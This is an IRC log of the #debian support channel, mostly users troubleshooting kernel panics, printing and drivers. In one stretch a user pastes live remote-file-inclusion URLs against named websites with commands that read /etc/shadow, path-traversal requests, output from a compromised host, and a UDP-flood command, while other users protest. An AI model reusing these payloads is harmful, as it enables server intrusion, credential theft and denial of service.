| 13:44.38 | Eulex | iNAP, ^^ |
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| 13:45.23 | iNAP | hu |
| 13:45.30 | kspath | I am always amazed by no matter how much hardware improves we still manage to use all the resources plus some more. |
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| 13:46.23 | wols_ | iNAP: try this http://cdimage.debian.org/cdimage/daily-builds/daily/arch-latest/amd64/iso-cd/debian-testing-amd64-netinst.iso |
| 13:46.37 | Tentative | kspath: I have a ati radeon 128 agp card |
| 13:46.46 | Tentative | using X as 800x600 16 bits |
| 13:46.47 | Tentative | lol |
| 13:47.05 | Tentative | (only one screen) ;) |
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| 13:47.12 | iNAP | testing? |
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| 13:48.09 | Tentative | iNAP: this is the only way to get a working distro when your material is not officially supported yet. |
| 13:48.21 | iNAP | oh ok |
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| 13:49.25 | kspath | Tentative: If you are only at 800x600 why bother with X at all? |
| 13:49.42 | Tentative | kspath: I need X and I don't need a deeper resolution. |
| 13:49.48 | Tentative | I had this card I use this card |
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| 13:50.01 | Tentative | simple easy |
| 13:50.08 | kspath | true |
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| 13:51.16 | Tentative | furthermore I'm sure I get something like 150 / 200 fps lol |
| 13:51.28 | Tentative | for openoffice this is the minimal needed ;) |
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| 13:56.11 | Quibus | So, is there any reason why a kernel would suddenly not be able to mount the root fs? |
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| 13:57.04 | AutOPSY | What is Debian's "kernel headers" package called, for building modules against? |
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| 13:57.20 | AutOPSY | In Fedora Core we have kernel-devel-$(uname -r) |
| 13:57.23 | malchias | http://sial.org/pbot/16028 is the error i get when trying to install a 2nd copy of perl as a non root user, how do I fix it? |
| 13:57.36 | sm00f | would someone do a port scan on my ip, im testing my ids |
| 13:57.53 | poison_ | Where did the package 'boot-floppies' go to? I can't find it in APT |
| 13:57.57 | sm00f | 12.222.181.10 |
| 13:58.07 | Quibus | AutOPSY: linux-headers-`uname -a` |
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| 13:58.19 | AutOPSY | Thanks Quibus. |
| 13:58.21 | dn4 | lets say I halets say I have two mp3s but they are both at different bpms, how do I get them to match up in bpms so I can then edit the tracks faily easily?ve two mp3s but they are both at different bpms, how do I get them to match up in bpms so I can then edit the tracks faily easily? |
| 13:58.24 | Quibus | eh, not -a :) |
| 13:58.26 | dn4 | whoops sorry |
| 13:58.28 | Quibus | -r |
| 13:58.32 | AutOPSY | Uname -r, right. |
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| 13:58.53 | dn3 | huh dn4, you have nick like me:) |
| 13:58.58 | kspath | sm00f: Use one of the scanning/security websites |
| 13:59.08 | dn4 | dn3, hahaha :) whoa nice to see you dn3 |
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| 13:59.14 | sm00f | no im using snort, did you just port scan me? |
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| 13:59.31 | dn4 | dn3, we are multiplying!! |
| 13:59.32 | sm00f | kspath, my firewall just modified for 80.238.206.248 |
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| 13:59.51 | wols_ | Quibus: what is the exact kernel message? |
| 14:00.08 | wols_ | any tricky stuff like raid or such? |
| 14:00.11 | sm00f | kspath, im using snort and snortsam, it is awesome, does timed blocks, i.e. for a icmp scan you get blocked 5 min |
| 14:00.16 | Quibus | wols_: I don't konw, I didn't write it down. No, no raid or so |
| 14:00.31 | dn3 | dn4: like clones or robots or not humans from star-trek :) |
| 14:00.36 | wols_ | Quibus: what ide/SCSI controller? |
| 14:00.39 | Quibus | wols_: unable to mount root fs, try to specify root= bla bla |
| 14:00.41 | kspath | sm00f: That is great! Now, you can use those free scanning sites to test it. |
| 14:00.44 | Quibus | wols_: via ide |
| 14:00.59 | wols_ | Quibus: what ide/SCSI controller? |
| 14:01.31 | Quibus | wols_: 0000:00:11.1 IDE interface: VIA Technologies, Inc. VT82C586A/B/VT82C686/A/B/VT823x/A/C PIPC Bus Master IDE (rev 06) |
| 14:01.31 | sm00f | kspath, yeah srry i misunderstood... it is very nice |
| 14:01.41 | wols_ | álso, is root= specified in lilo.conf or menu.lst? |
| 14:01.56 | wols_ | ok, that one should be in default kernel |
| 14:02.00 | sm00f | kspath, actually that ip i just posted got blocked for a snmp request |
| 14:02.04 | Quibus | wols_: yes it is, I checked it and also it does boot this image (2.6.12) |
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| 14:02.07 | sm00f | kspath, cool huh? |
| 14:02.16 | Quibus | wols_: I'm using lilo btw |
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| 14:03.42 | Quibus | wols_: it's just weird: I didn't change a thing and suddenly the 2.6.15 doesn't boot anymore but the 2.6.12 still does. Same disk, different kernel image |
| 14:03.58 | ciphergoth | I'm trying to use IPP and CUPS to print across two Debian boxes (one stable, one testing). Is there a GNOME printer browser that can find IPP printers? |
| 14:04.14 | wols_ | Quibus: could be a udev issue? |
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| 14:04.17 | streuner | Quibus: what error? |
| 14:04.29 | ciphergoth | googling for "gnome printer browser" didn't find anything useful |
| 14:04.42 | kspath | sm00f: I have no idea what cool is or is not. |
| 14:04.50 | ciphergoth | but "gnome-cups-manager" doesn't seem to be able to go and look at another host and find out what printers it has |
| 14:05.02 | Quibus | wols_: suddenly? I dono't think I got a new udev yesterday |
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| 14:05.13 | Quibus | streuner: kernel panic, because it can't mount the root fs |
| 14:05.14 | kspath | sm00f: Actually 0 degree Kelvin is VERY cool. |
| 14:05.14 | streuner | Quibus: why did you mention lilo at all? run 'lilo -v' and see if you get any errors |
| 14:05.32 | streuner | Quibus: so custom kernel? |
| 14:05.33 | Quibus | streuner: no errors |
| 14:05.40 | Quibus | streuner: no, Debian stock kernel |
| 14:05.45 | streuner | ok, its not an lilo question then |
| 14:05.48 | sm00f | kspath, researching, is it an IDS? |
| 14:06.01 | tulioanjos | http://img50.imageshack.us/img50/7425/kernelpanic3pp.png |
| 14:06.07 | tulioanjos | omg what is wrong with debian |
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| 14:06.33 | streuner | Quibus: what version of debian? |
| 14:06.34 | sm00f | kspath, was that a joke? |
| 14:06.42 | Quibus | streuner: up-to-date etch |
| 14:06.44 | nvz | tulioanjos: the users, thats whats wrong with debian |
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| 14:06.53 | streuner | Quibus: what does BTS say about? |
| 14:06.54 | tulioanjos | nvz: i just ran apt-get dist-upgrade |
| 14:06.59 | tulioanjos | nvz: rebooted and get that |
| 14:07.00 | tulioanjos | o.o |
| 14:07.05 | Quibus | streuner: about which package? |
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| 14:07.17 | streuner | Quibus: stock debian kernel 2.6.15? |
| 14:07.17 | ciphergoth | I've tried guessing the appropriate URL, but it just says the printer is "paused" |
| 14:07.23 | kspath | sm00f: No, it was not a joke. Kelvin 0 degrees is VERY cold. |
| 14:07.27 | Quibus | streuner: the same kernel booted just fine yesterday morning... |
| 14:07.29 | ciphergoth | it makes no indication of whether it can in fact see the damn thing at all |
| 14:07.43 | sm00f | kspath, hahah... true, like 279 below right? |
| 14:07.43 | ciphergoth | should I be using some better tool than gnome-cups-manager? |
| 14:07.52 | streuner | Quibus: well, ask yourself what you changed in the meantime then |
| 14:07.54 | ciphergoth | or does printing between Debian boxes simply not work at all? |
| 14:08.04 | ciphergoth | a la Eric Raymond's famous rant on the subject? |
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| 14:08.11 | sm00f | could someone recommend an app for remote log viewing |
| 14:08.11 | Quibus | streuner: well, nothing boot/kernel related, AFAIK |
| 14:08.12 | streuner | Quibus: did you upgrade your box? |
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| 14:08.32 | kspath | sm00f: Look at amap and nmap and nessus and socat and tcpdump and ... |
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| 14:08.33 | Quibus | streuner: I dist-upgrade daily and I didn't see strange packages in the /var/cache/apt/archives |
| 14:08.35 | eccs | hello! i would like change from xp to debian.. but i haven't got a driver for my adsl modem? where to get one? |
| 14:08.43 | tulioanjos | http://img50.imageshack.us/img50/7425/kernelpanic3pp.png - how to fix this ? |
| 14:08.44 | kspath | sm00f: Try ssh for remote log viewing. |
| 14:08.55 | sm00f | kspath, just write a script? |
| 14:08.58 | ciphergoth | since he wrote the rant a year and a half ago I had vaguely hoped that maybe it would have stirred people into action to make things better |
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| 14:09.09 | ciphergoth | but things don't seem to be any better AFAICT |
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| 14:09.11 | quitte | hi. i need some help with electronics. i have a few oscillators here. but they have 4 pins. do they actually contain 2 oscillators? |
| 14:09.20 | streuner | Quibus: just remove the package and reinstall it |
| 14:09.43 | streuner | Quibus: what does 'dpkg -l udev' say? |
| 14:09.46 | kspath | sm00f: Whatever works for your project/task. |
| 14:09.46 | sm00f | kspath, im using paralogger on my desktop, cause it looks nice, but i dont think there is a way to launch a script with that app |
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| 14:10.05 | Quibus | streuner: ii udev 0.084-5 /dev/ and hotplug management daemon |
| 14:10.12 | ciphergoth | quitte: this isn't the channel you want for that query. I don't know what is, but not this one... |
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| 14:10.26 | streuner | hm |
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| 14:10.35 | sm00f | kspath, guess scripting an ssh password wouldnt be a big deal for a limited user with access to the logs |
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| 14:10.58 | streuner | Quibus: check out /var/cache/apt/archives/ |
| 14:11.04 | dn3 | tuli: you dont have anything at /dev |
| 14:11.14 | quitte | ciphergoth: how about helping people here that have problems with debian then and just ignoring my single lined request for offtopic help? |
| 14:11.16 | Quibus | streuner: for what? I already browsed through it but there's nothing spectacular in it |
| 14:11.22 | kspath | sm00f: stunnel instead? Whatever works for you. |
| 14:11.23 | streuner | Quibus: to get infos what packages you upgradet lately (ls -lt) or such |
| 14:11.30 | dn3 | tuli: its a clone of any system? you can tar /dev from anotjher system :) |
| 14:11.45 | quitte | ciphergoth: and actually it is debian related |
| 14:11.48 | Quibus | streuner: hmm: initramfs-tools! That sounds related |
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| 14:11.54 | ciphergoth | quitte: ! |
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| 14:12.04 | sm00f | kspath, that sounds like what i need |
| 14:12.15 | streuner | Quibus: ok, check out BTS now, if necessary just install an older version (/msg dpkg sdn) |
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| 14:12.26 | sm00f | kspath, is this like a vpn client for ssh? |
| 14:12.30 | eccs | please. i have googled for it.. i know my modem chipset. and i got rpm driver just dont know how to get one for debian |
| 14:12.48 | kspath | sm00f: what is sm00f? a secure dogcow? |
| 14:12.56 | tulioanjos | http://img50.imageshack.us/img50/7425/kernelpanic3pp.png - how to fix this ? |
| 14:13.01 | Quibus | streuner: kernel boot uses initramfs-tools? |
| 14:13.05 | sm00f | kspath, hahaha, sort of... |
| 14:13.23 | sm00f | sm00f = anti smooth |
| 14:13.35 | ciphergoth | eccs: sadly you'll probably have to do some ugly stuff by hand |
| 14:13.39 | kspath | sm00f: moof moof |
| 14:13.44 | ciphergoth | eccs: what sort of cable modem is it? |
| 14:13.51 | ciphergoth | adsl modem I mean |
| 14:13.57 | streuner | Quibus: i think in debian are 3 options to built the initrd-image, this one of them |
| 14:14.25 | eccs | its straight to usb.. works without ethernet card |
| 14:14.31 | sm00f | kspath, awww its a wrapper for non secure services, like syslog, sweet |
| 14:14.31 | Quibus | streuner: along with it also klibc-utils and libklibc were updated |
| 14:14.42 | eccs | telewell ea-100b version 2 |
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| 14:14.47 | YogSothoth | Hi |
| 14:14.58 | Quibus | streuner: so it might be not very straightforward to downgrade |
| 14:15.18 | eccs | i dont mind if i have to do things by hand.. i just need debian |
| 14:15.32 | kspath | sm00f: This is #debian. You can find out more with google in 1 hour than we can tell you in one day in channel if you can use google correctly. |
| 14:16.01 | ciphergoth | jesus, I am in fact trying to solve the exact same problem that Raymond ranted about in "The Luxury of Ignorance" except in Debian, and 20 months later things are just as abysmally bad! |
| 14:16.04 | streuner | Quibus: usually a kernel-panic is when a module which is necessary to boot your system (IDE...) not avaiable |
| 14:16.09 | YogSothoth | How can I cycle my connexion without explicitly exit and reconnect ? I mean, I added my user to the src group so I can write in /usr/src but the change won't take effect until I reconnect. So I wonder if there is a command to reload my environment |
| 14:16.23 | sm00f | kspath, ohh i know... i can get pretty creative with google, but secure remote log viewer doesnt respond stunnel no matter how you word it =) |
| 14:16.36 | ciphergoth | eccs: what's the best link you've found on Google so far for making it go? |
| 14:16.54 | sm00f | kspath, i hit google before i ask, and gentoo-wiki, cause im running gentoo |
| 14:16.56 | Quibus | streuner: I haven't got one since years. In the beginning there was one (initrd vs. not initrd lilo issue), but that was easy :) |
| 14:17.12 | eccs | im not sure.. eciadsl maybe.. but it didnt work |
| 14:17.33 | kspath | sm00f: You were using the wrong keyword/keyphrase so you should open your mind and look at the layers below a term that is new and not always used. |
| 14:17.41 | tulioanjos | how do i fix the kernel panic error ? |
| 14:18.13 | kspath | sm00f: Um, why do you come to #debian when you can ask in #gentoo? |
| 14:18.29 | Quibus | who is vorlon anyway? :P |
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| 14:18.48 | sm00f | kspath, there is a bunch of newbs in gentoo, like talking to my sister most of the time |
| 14:19.00 | streuner | Quibus: our release-manager, part of debian-installer team |
| 14:19.15 | Quibus | streuner: aha OK. I'm reading some bug reports on initramfs-tools |
| 14:19.52 | sm00f | kspath, i think im going to attempt to use samba as a windows domain controller next |
| 14:20.14 | streuner | s/part/member/ |
| 14:20.14 | eccs | ciphergoth: http://sourceforge.net/projects/accessrunner |
| 14:20.23 | kspath | sm00f: ok, there is a #samba I think. |
| 14:20.36 | eccs | but i dont know if it works for sure |
| 14:20.42 | sm00f | kspath, i got my laptop dailing out through bluetooth out of my cellphone, that was cool |
| 14:21.09 | kspath | sm00f: That can be useful but why are you telling me? |
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| 14:21.17 | Quibus | streuner: so, you recommend to go to the previous version of initramfs-tools? |
| 14:21.23 | dn4 | RAWR!! |
| 14:21.26 | tulioanjos | how do i fix the kernel panic error ? |
| 14:21.35 | sm00f | kspath, i thought the same thing after i said it, |
| 14:21.38 | Tentative | by giving it some weed |
| 14:21.45 | streuner | Quibus: yes, if you don't find any other recommendation in BTS |
| 14:21.57 | Quibus | streuner: I didn't even find the exact bug yet |
| 14:22.26 | streuner | Quibus: just file a bugreport too |
| 14:22.55 | Quibus | streuner: OK, I'll try but I doubt if it's very useful. Better than doing nothing, I suppose |
| 14:23.37 | kspath | sm00f: I know it can be frustrating with no peers to share experiences/victories/failures with. IRC can be an answer somewhat but this is a VERY busy channel. Keep learning. |
| 14:23.40 | nvz | Tentative: weed may make it paranoid and panic more |
| 14:24.32 | nvz | my monitor is shaking like crazy.. its annoying. |
| 14:24.59 | kspath | nvz: earthquake? electrical issues? |
| 14:25.12 | nvz | electrical problem I guess |
| 14:25.35 | nvz | I got better working monitors but this one is two inches bigger than any of them.. heh |
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| 14:29.22 | tulioanjos | HOW TO FIX THE KERNEL -PANIC ERROR ? |
| 14:30.35 | pureone | there could be alot of reasons for a kernel panic.. |
| 14:30.58 | pureone | !caps |
| 14:30.58 | dpkg | Don't write words all in capital letters unless they're abbreviations. To emphasize words put _* on both sides of them. _emphasize_ them. |
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| 14:33.35 | kspath | tulioanjos: All CAPS is considered yelling in IRC and tends to piss-off/annoy people which is the opposite of what you want to do to get assistance. |
| 14:34.14 | johabba | i know dpkg -L <package> shows all files in package, but how can i find out what package a file belongs to? |
| 14:34.21 | johabba | like rpm -qf /path/to/file |
| 14:34.38 | mox | johabba: try apt-file |
| 14:34.49 | johabba | mox, will do. thanks :) |
| 14:35.09 | kspath | johabba: apt-get install apt-file; apt-file update; apt-file search filenameorkeyword |
| 14:35.29 | johabba | thanks, didn't know about that little util |
| 14:35.32 | mox | johabba: kspath gives you a small howto |
| 14:35.47 | johabba | trying to determine if i really have a rootkit |
| 14:35.50 | johabba | on a VPS system... |
| 14:36.06 | johabba | chrootkit reports possible LKM |
| 14:36.14 | kspath | johabba: Be paranoid and assume yes. That is always more fun. |
| 14:36.23 | johabba | kspath, indeed. |
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| 14:37.00 | kspath | johabba: If you are owned it will annoy them to have to re-own your boxen anyway. So at least annoy them when you can. |
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| 14:37.40 | kspath | johabba: There can/will be false positives with most tools. |
| 14:38.19 | johabba | kspath, yeah, i think it is a false |
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| 14:39.12 | johabba | kspath, it's saying ps and readdir have hidden process |
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| 14:39.49 | johabba | kspath, but in the VPS environment i think those have been modified to keep me from looking at other users on the physical machine |
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| 14:41.00 | dn4 | I have a .mp3 file and this file has a bpm of lets say X, is there a way to take .mp3 file and sample 8 beats over a given amount of time to figure out the entire bpm of the track to .000000001 ? |
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| 14:43.04 | Quibus | streuner: bug report submitted |
| 14:43.12 | nvz | dn4: would be easier to count the number of beats than the time. say how many b beats in 6 seconds multiplied by 10 is the bpm |
| 14:44.00 | dn4 | nvz, how do I calculate for the .00001 of a beat if a beat does not end exactly on 6 seconds? |
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| 14:44.29 | tulioanjos | http://www.fejesp.org.br/index.php?page=[YOUR_CMD] |
| 14:44.46 | tulioanjos | http://www.fejesp.org.br/index.php?page=http://www.foxcf.hpgvip.ig.com.br/cse.gif?&cmd=uname -a;id |
| 14:44.57 | nvz | dn4: just do the math 4.0001*10 is what like 40.001bpm |
| 14:45.07 | Quibus | tulioanjos: um, what's the diea? |
| 14:45.09 | Quibus | idea |
| 14:45.15 | tulioanjos | Quibus: hack ;p |
| 14:45.18 | nvz | dn4: if you need that, personally I would in most cases want to round to whole numbers but I have no idea what you are doing |
| 14:45.21 | johabba | tulioanjos, hrm...that not nice |
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| 14:45.37 | tulioanjos | yes it is |
| 14:46.32 | abrotman | tulioanjos: go away |
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| 14:46.39 | tulioanjos | lol |
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| 14:46.48 | abrotman | LOLLOLOLO i'm a fucking moron LOLOLO |
| 14:46.54 | dn4 | nvz, i want to calculate the exact bpms of the entire track to the .000000001 and match this to another .mp3 because over a period of time that whole # fails to match upthe bpms |
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| 14:47.07 | tulioanjos | :8010/Guide/../../../../../../../../../../../../../../../etc/shadow |
| 14:47.15 | tulioanjos | :2211/examples/jsp/source.jsp?%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/console.log |
| 14:47.17 | johabba | lol |
| 14:47.19 | abrotman | tulioanjos: STOP |
| 14:47.23 | tulioanjos | :10000/servers/link.cgi/1/init/edit_action.cgi?0+../../../../../../../../../etc/hosts |
| 14:47.34 | tulioanjos | :9090//etc/shadow |
| 14:47.39 | Quibus | tulioanjos: I'm kindly asking you to stop with pasting these URL's |
| 14:47.40 | abrotman | tulioanjos: stop flooding |
| 14:47.42 | Tentative | tulioanjos: you really should stop :P |
| 14:47.46 | johabba | someone needs mod_security |
| 14:47.51 | tulioanjos | /shadow/.htpasswd |
| 14:47.55 | abrotman | someone needs a whole in the head |
| 14:47.59 | abrotman | tulioanjos: SHUT UP |
| 14:48.03 | dvs | or a whole head. ;-) |
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| 14:48.23 | nvz | something smells like puke all of a sudden |
| 14:48.30 | dvs | sorry |
| 14:48.30 | abrotman | probably tulioanjos |
| 14:48.32 | dvs | ;-) |
| 14:48.37 | Tentative | no, but if anyone can tell me the best way to cook my shui hsien tea I accept privates ;) |
| 14:48.44 | Quibus | streuner: see bug 354458 |
| 14:48.49 | abrotman | Tentative: wrong channel |
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| 14:49.01 | stew | Tentative: nobody here is going to show you their privates |
| 14:49.16 | Quibus | let alone offer them! :P |
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| 14:49.38 | dvs | Quibus: Where do you think the work "UNIX" comes from? |
| 14:49.39 | Tentative | stew: even 90 x 60 x 90 blonds ? |
| 14:49.49 | abrotman | that's a big blonde |
| 14:49.51 | Tentative | dvs: trade mark |
| 14:50.03 | tulioanjos | nodename: mt3.midyatech.com |
| 14:50.03 | tulioanjos | release: 2.6.9-5.0.3.ELsmp |
| 14:50.03 | tulioanjos | version: #1 SMP Sat Feb 19 19:38:02 CST 2005 |
| 14:50.04 | licued | UN meaning one and NIX from not MULTNICS OS I beleive |
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| 14:50.06 | Tentative | abrotman: metric |
| 14:50.07 | tulioanjos | http://www.govand.info/content.php?cont=http://www.foxcf.hpgvip.ig.com.br/cse.gif?&cmd=id |
| 14:50.10 | tulioanjos | :) |
| 14:50.17 | abrotman | tulioanjos: STOP PASTING |
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| 14:50.21 | tulioanjos | abrotman: why ? |
| 14:50.22 | tulioanjos | xd |
| 14:50.25 | licued | dvs: UN meaning one and NIX from not MULTNICS OS I beleive |
| 14:50.30 | Quibus | tulioanjos: it's quite annoying |
| 14:50.38 | abrotman | tulioanjos: it's not related to debian . .and it's annoying |
| 14:50.40 | stew | tulioanjos: you will be removed from the channel if you don't stop pasting in here |
| 14:50.45 | kspath | tulioanjos: How about a steaming hot cup of STFU! |
| 14:50.52 | dvs | licued: No, UNIX meaning castrated MULTNICS |
| 14:51.03 | Quibus | dvs: http://en.wikipedia.org/wiki/UNIX |
| 14:51.10 | licued | ? |
| 14:51.15 | tulioanjos | http://en.wikipedia.org/wiki/STFU |
| 14:51.25 | eccs | ciphergoth: can you help me a bit.. what i need to do? |
| 14:51.39 | licued | dvs you are wrong |
| 14:51.43 | licued | sorry :( |
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| 14:52.10 | vansan | #deutsch |
| 14:52.19 | stew | !de |
| 14:52.19 | dpkg | Deutschsprachige Hilfe bekommt ihr in #debian.de - German speaking users please go to #debian.de |
| 14:52.32 | dvs | licued: It's right in the page Quibus quoted! |
| 14:52.39 | qweo | !ru |
| 14:52.39 | dpkg | Unless you mean Mother Russia, Spell it out: "are you". see r. see u. Pogalujsta, zajdite na #debian-russian :) |
| 14:52.40 | vansan | danke |
| 14:52.50 | stew | nedankinde |
| 14:52.55 | dvs | licued: In the 1960's and 1970's section |
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| 14:56.31 | kspath | stew: how long have you used Esperanto? |
| 14:57.08 | stew | kspath: a couple of years, but not as much recently. I am not all that good with it |
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| 14:59.55 | viNs__ | xandros 4 iso ? |
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| 15:00.18 | EdLin | !xandros |
| 15:00.18 | dpkg | extra, extra, read all about it, xandros is a crappy Operating System that _they_ should support... I even think it runs as root. at http://www.xandros.com/ |
| 15:00.34 | tulioanjos | can i root 2.6.9-11.ELsmp with stackgrow3 ? |
| 15:00.39 | stew | viNs__: try #xandros |
| 15:01.19 | viNs__ | xandros4 will be great |
| 15:01.37 | kspath | viNs__ : wrong channel for that |
| 15:01.41 | tulioanjos | http://www.atitudesaude.com.br/index.php?p=http://www.foxcf.hpgvip.ig.com.br/cse.gif?&cmd=id |
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| 15:01.45 | viNs__ | ok |
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| 15:01.51 | EdLin | viNs__: whatever it will be it won't be Debian, so take it elsewhere. |
| 15:02.01 | viNs__ | yeah it will |
| 15:02.22 | abrotman | should i buy preseason tickets to see philly vs boston ? |
| 15:02.37 | kspath | Quibus: off-topic response is that it can work to replace the heathen Redmond OS. |
| 15:02.39 | EdLin | abrotman: only if you're a red sox fan |
| 15:02.41 | abrotman | doh .. wrong channel |
| 15:02.45 | stew | !ops tulioanjos was just being very annoying, now he's talking about exploits, can we please +q him? |
| 15:02.45 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, ):, helix, ljlane, LoRez, RichiH, mentor, Netsnipe, TML, walters, xk, gravity, azeem: tulioanjos was just being very annoying, now he's talking about exploits, can we please +q him |
| 15:02.48 | abrotman | EdLin: i am |
| 15:02.48 | Quibus | kspath: good point |
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| 15:02.54 | nvz | abrotman: yo momma got box seats |
| 15:03.09 | abrotman | nvz: yo momma got balloon seats :) |
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| 15:03.19 | lome10 | so, i installed debian-keyring and debian-archive-keyring, whats next step to ensure security? |
| 15:03.23 | nvz | abrotman: heh |
| 15:03.32 | tulioanjos | http://loudphp.co.uk/index.php?p=http://www.foxcf.hpgvip.ig.com.br/cse.gif?&cmd=uname -a;w;id;cat /etc/shadow;cd /tmp;ls |
| 15:03.37 | stew | lome10: /msg dpkg apt secure ; /msg dpkg securing debian |
| 15:03.40 | kspath | lome10: unplug the power |
| 15:03.50 | abrotman | bah .. i'd even get a kline |
| 15:03.59 | lome10 | kspath, r u sure, no joke? |
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| 15:04.13 | tulioanjos | i will run a backdoor |
| 15:04.15 | EdLin | !r |
| 15:04.15 | dpkg | hmm... r is a powerful language based on S, primarily used for statistics. It is well suited for dealing with large sets of numbers in matrices and/or vectors. apt-get install r-base r-recommended r-base-html. And it's "are", not "r" |
| 15:04.18 | tulioanjos | that logs ssh passwd |
| 15:04.34 | EdLin | !u |
| 15:04.35 | dpkg | Damnit Jim! It's YOU. Y-O-U. Not *U*. U is a letter. YOU is a word. See ne1, or wud. Dutch for 'you' (formal singular). See http://ars.userfriendly.org/cartoons/?id=20041201 |
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| 15:04.42 | kspath | lome10: That was truthful sarcasm. If it has no power than no one can remotely modify data on your disks. |
| 15:04.44 | stew | tulioanjos: will you do us a favor and leave, sparing us the trouble of getting an ircop to ban you from the network? |
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| 15:05.01 | abrotman | BearPerson: thank you |
| 15:05.06 | tulioanjos | lol |
| 15:05.08 | tulioanjos | dynamic ip |
| 15:05.20 | stew | lilo: are you around? can you please help us with tulioanjos? |
| 15:05.23 | tulioanjos | try to ban 20?.* |
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| 15:05.31 | lome10 | kspath, are those packages (debian--key-ring) compromised? |
| 15:05.32 | kspath | tulioanjos: Please take your script kiddie butt elsewhere. |
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| 15:05.52 | kspath | lome10: I was only making a sad joke about general security. |
| 15:05.56 | BearPerson | do we have anyone with channel operator privileges in here? |
| 15:05.57 | Quibus | tulioanjos: no need to start being evil, really |
| 15:06.09 | tulioanjos | http://dspinola.caboindex.com/index.php?p=http://www.foxcf.hpgvip.ig.com.br/cse.gif?&cmd=id |
| 15:06.09 | lome10 | kspath, thanks, you scared me man |
| 15:06.17 | tulioanjos | uid=32047(caboinde) gid=550(caboinde) groups=550(caboinde) |
| 15:06.18 | tulioanjos | lol |
| 15:06.18 | kspath | lome10: Sorry. |
| 15:06.21 | abrotman | BearPerson: we did call ops .. it was ignored/missed |
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| 15:06.34 | lome10 | kspath: no problems (*^*) |
| 15:06.37 | kspath | !target tulioanjos |
| 15:06.47 | tulioanjos | !target kspath too |
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| 15:07.11 | tulioanjos | whats up guys ? |
| 15:07.13 | tulioanjos | :D |
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| 15:07.52 | abrotman | tulioanjos: we asked you nicely to leave. Could you please do that? |
| 15:08.01 | tulioanjos | sorry i dont understood |
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| 15:08.11 | kspath | plonk |
| 15:08.19 | nvz | you'll understood once we find a staffer |
| 15:08.24 | abrotman | nvz: i did |
| 15:08.41 | tulioanjos | !tx @udp irc.freenode.org 6667 3600 |
| 15:08.43 | tulioanjos | :) |
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| 15:08.54 | tulioanjos | 300 bots will do they work |
| 15:09.17 | abrotman | tulioanjos: so you are going to use a bot network to attack freenode? |
| 15:09.24 | tulioanjos | no :) |
| 15:09.31 | tulioanjos | just an idea |
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| 15:09.43 | Quibus | tulioanjos: so, why? What's the point? |
| 15:09.50 | tulioanjos | lol j/k |
| 15:09.51 | tulioanjos | i'm leaving now |
| 15:09.52 | tulioanjos | cya |
| 15:10.01 | tulioanjos | going to use aimbot in CS |
| 15:10.36 | BearPerson | do that |
| 15:10.59 | abrotman | BearPerson: sorry to bother ... he was pasting exploit URLs before .. he of course stopped |
| 15:11.21 | BearPerson | no problem |
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| 15:12.04 | amee2k | how can i prevent the 'Fn' key on my laptop from causing weird behaviour in vim? |
| 15:12.20 | abrotman | don't hit it? |
| 15:12.33 | kspath | amee2k: do not launch vim? |
| 15:12.34 | abrotman | maybe use xmodmap to map it to nothing |
| 15:12.41 | tulioanjos | what is the kernel panic error ? |
| 15:12.41 | kspath | amee2k: remove all Fn keys? |
| 15:13.12 | amee2k | hm... :/ |
| 15:13.28 | amee2k | :- |
| 15:13.30 | tulioanjos | what is the kernel panic error ?. |
| 15:13.31 | amee2k | :\ |
| 15:13.31 | raf256[laptop] | tulioanjos: it's like when you wake up |
| 15:13.32 | amee2k | :| |
| 15:13.39 | raf256[laptop] | tulioanjos: near a real fat wemen |
| 15:13.49 | raf256[laptop] | tulioanjos: and you are like OMFG WTF? HEEEEELP |
| 15:14.05 | tulioanjos | uhn |
| 15:14.08 | tulioanjos | but what is the kernel panic error ? |
| 15:14.16 | raf256[laptop] | exacly that, really |
| 15:14.25 | amee2k | sounds like some kinda BSOD |
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| 15:14.36 | tulioanjos | i just ran the apt-get dist-ugprade |
| 15:14.39 | tulioanjos | rebooted |
| 15:14.44 | raf256[laptop] | tulioanjos: Seriously, give more invo. WHAT errero, when |
| 15:14.44 | tulioanjos | and got that error |
| 15:14.51 | Quibus | tulioanjos: you might have got the same as I got |
| 15:14.55 | raf256[laptop] | tulioanjos: what FREAKING error |
| 15:15.00 | tulioanjos | omg |
| 15:15.07 | raf256[laptop] | tulioanjos: do we look like a freaking wizards with a glass ball?> |
| 15:15.12 | Quibus | see Debian bug 354458 |
| 15:15.16 | raf256[laptop] | state the error message |
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| 15:15.21 | tulioanjos | http://img50.imageshack.us/img50/7425/kernelpanic3pp.png |
| 15:15.27 | tulioanjos | raf256[laptop] http://img50.imageshack.us/img50/7425/kernelpanic3pp.png |
| 15:15.35 | Quibus | oh, that's something else, maybe |
| 15:15.49 | raf256[laptop] | tulioanjos: if you just updated the kernel, try again the older one |
| 15:15.55 | tulioanjos | raf256[laptop]: nice |
| 15:15.58 | tulioanjos | how do i come back ? |
| 15:16.11 | abrotman | we hope you don't |
| 15:16.19 | raf256[laptop] | when booting there should be a menu to choose the kernel to use |
| 15:16.30 | blondie | *love and happiness* |
| 15:16.31 | raf256[laptop] | like a table with kernels 2.6... 2.6... et |
| 15:16.33 | raf256[laptop] | etc |
| 15:16.36 | abrotman | the sad thing .. he was in here a few days ago doing the same garbage |
| 15:17.01 | raf256[laptop] | abrotman: who? |
| 15:17.11 | abrotman | raf256[laptop]: you're helping a troll .. have a nice day |
| 15:17.24 | raf256[laptop] | abrotman: dont look like a troll to me yet |
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| 15:17.29 | raf256[laptop] | chill out |
| 15:17.46 | tulioanjos | raf256[laptop] http://img509.imageshack.us/img509/6905/boot6xm.png |
| 15:17.50 | raf256[laptop] | tulioanjos: boot older kernel from the table, or use rescue CD or a live CD (knoppix.org) to fix |
| 15:17.50 | abrotman | raf256[laptop]: try /lastlog |
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| 15:18.21 | AintNoShi | !hello |
| 15:18.21 | dpkg | Hi, aintnoshi! |
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| 15:18.39 | abrotman | raf256[laptop]: what client are you using? |
| 15:18.39 | tulioanjos | raf256[laptop] http://img509.imageshack.us/img509/6905/boot6xm.png |
| 15:18.44 | raf256[laptop] | tulioanjos: well, try recovery mode |
| 15:18.46 | tulioanjos | raf256[laptop] did u saw the image ? |
| 15:18.48 | tulioanjos | i already tried that |
| 15:18.50 | raf256[laptop] | abrotman: konversation |
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| 15:19.04 | tulioanjos | what happen if i press c? |
| 15:19.06 | raf256[laptop] | tulioanjos: boot some rescude CD and try to install older kernel |
| 15:19.07 | abrotman | raf256[laptop]: there should be a way to do it . but i don't use konversation |
